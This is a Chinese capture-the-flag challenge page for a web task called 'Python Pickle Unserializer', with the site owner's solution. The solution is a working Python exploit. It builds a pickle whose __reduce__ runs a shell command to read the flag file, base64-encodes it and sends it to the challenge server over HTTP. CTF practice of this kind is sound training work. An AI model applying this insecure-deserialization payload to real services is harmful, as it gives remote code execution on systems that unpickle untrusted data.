Python Pickle Unserializer

平台   WEB   已通过

题目作者: Hel1antHu5

一　　血: ‌‌‌‌‌masterluo

一血奖励: 5金币

解　　决: 58

提　　示:

描　　述: flag{}

站长题解:

import base64
import pickle

import httpx

class A:
    def __reduce__(self):
        import subprocess
        s = '''
import subprocess

r = subprocess.run(
    'cat flag', 
    shell=True,
    check=True,
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT
)
print(r.stdout.decode())
        '''
        return (subprocess.check_output, (["python3","-c",s],))


a = A()
data = {
    'payload': base64.b64encode(pickle.dumps(a)).decode()
}
a = base64.b64decode(data['payload'])
r = httpx.put('http://114.67.175.224:17271/flag', json=data)
print(r.text)

去做题